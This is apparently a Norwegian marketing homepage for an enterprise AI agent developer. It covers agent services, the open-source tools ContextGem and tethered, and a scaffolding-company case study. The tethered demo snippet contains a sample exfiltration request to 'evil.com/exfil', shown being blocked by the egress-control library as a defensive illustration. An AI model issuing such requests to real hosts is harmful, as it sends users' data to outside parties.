Enterprise AI
Utvikling

Vi bygger AI-agenter som transformerer hvordan virksomheter opererer — autonome systemer som resonnerer, planlegger og handler basert på virksomhetens data.

Ta kontakt Utforsk arbeidet vårt

Hva vi gjør

Vi utvikler og implementerer enterprise AI-agenter — autonome systemer som resonnerer, planlegger og handler basert på virksomhetens data for å skape reelle forretningsresultater.

Innhent

Dokumenter, API-er og minne

Planlegg

Ruting, oppdeling og strategiutvikling

Resonner

Tenk, analyser og beslutt

Utfør

Verktøy, API-er og kode

Verifiser

Sikkerhetsnett, evalueringer og validering

Autonome agenter

AI-agenter som resonnerer, planlegger og handler selvstendig — håndterer komplekse arbeidsflyter uten konstant menneskelig tilsyn.

> Analyserer kvartalsrapport…
› plan("del opp i 3 deloppgaver")
› search("inntektsdata, K1–K4")
› reason("sammenlign år-over-år-trender")
› verify("kryssjekk beregninger")
✓ Rapportsammendrag generert

Orkestrering av flere agenter

Koordiner team av spesialiserte agenter for langvarige, flertrinnsprosesser — med overlevering, minne og sanntidsovervåking.

Tilpassede AI-pipelines

Skreddersydde AI-arbeidsflyter utviklet for din bedrift — integrert med virksomhetens eksisterende systemer og skalerbare i takt med virksomhetens behov.

Åpen kildekode

Vi tror på å gi tilbake til fellesskapet. Våre åpen kildekode-verktøy brukes av utviklere over hele verden.

💎

ContextGem

Enkel LLM-ekstraksjon fra dokumenter. Vårt åpen kildekode-rammeverk som gjør det enkelt å ekstrahere strukturerte data ved hjelp av store språkmodeller.

1.8k+ stjerner
45k+ nedlastinger
uv add contextgem
GitHub Dokumentasjon

Nøkkelfunksjoner

  • Minimal kode — definer hva som skal ekstraheres, ikke hvordan
  • Automatiserte prompts — LLM prompt engineering håndtert for deg
  • Referansekartlegging — spor hver ekstraksjon tilbake til kilden
  • Multi-LLM — OpenAI, Anthropic, Google, Azure, lokale modeller
extract.py
1 from contextgem import Document, StringConcept
2 doc = Document(raw_text=contract_text)
3 doc.concepts = [StringConcept(name="Anomalies", ...)]
4 doc = llm.extract_all(doc)
✓ 3 avvik ekstrahert med referanser
🪁

tethered

Nettverksutgangskontroll ved kjøretid for Python. Vårt åpen kildekode-sikkerhetsbibliotek som begrenser hvilke verter applikasjonen din kan koble til — med ett enkelt funksjonskall.

Ny
uv add tethered
GitHub PyPI

Bruksområder

  • Forsyningskjedeforsvar — kompromitterte avhengigheter kan ikke ringe hjem
  • AI-agent-sikkerhetsskinner — agenter når kun tillatte API-er
  • Testisolering — tester treffer aldri produksjon ved uhell
  • Nettverkstilgang med minste privilegium — kun vertene du deklarerer
secure.py
1 import tethered
2 tethered.activate(allow=["*.openai.com:443"])
3 httpx.get("https://evil.com/exfil")
✓ Uautorisert utgående trafikk blokkert

Kundene våre

Enterprise AI-løsninger som leverer målbare resultater.

Christiania Stillas AS

Christiania Stillas AS

Stillasbedrift · Oslo, Norway

Agentisk dokumentintelligensplattform — et multiagentsystem med langkjørende AI-agenter som behandler store mengder stillasprosjektfiler, utfører komplekse faktureringsberegninger på tvers av ulike stillasprosjekttyper — med deterministiske verktøy og nøyaktighetskontroller som sikrer presisjon — og leverer detaljerte fakturavedlegg.

Generering av fakturavedlegg

Storskala filbehandling, komplekse beregninger, flere stillasprosjekttyper

Prosjektassistent

Agentisk resonnering over stillasprosjektdokumentasjon med siterte svar

"Løsningen sparer nå 80 % av tiden brukt på generering av fakturavedlegg."

— Rune Larsen, Medgründer og HMS-leder i Christiania Stillas AS

La oss bygge sammen

Klar for å ta i bruk AI-agenter i din virksomhet? Vi vil gjerne høre om dine utfordringer.

sergii@shcherbak.ai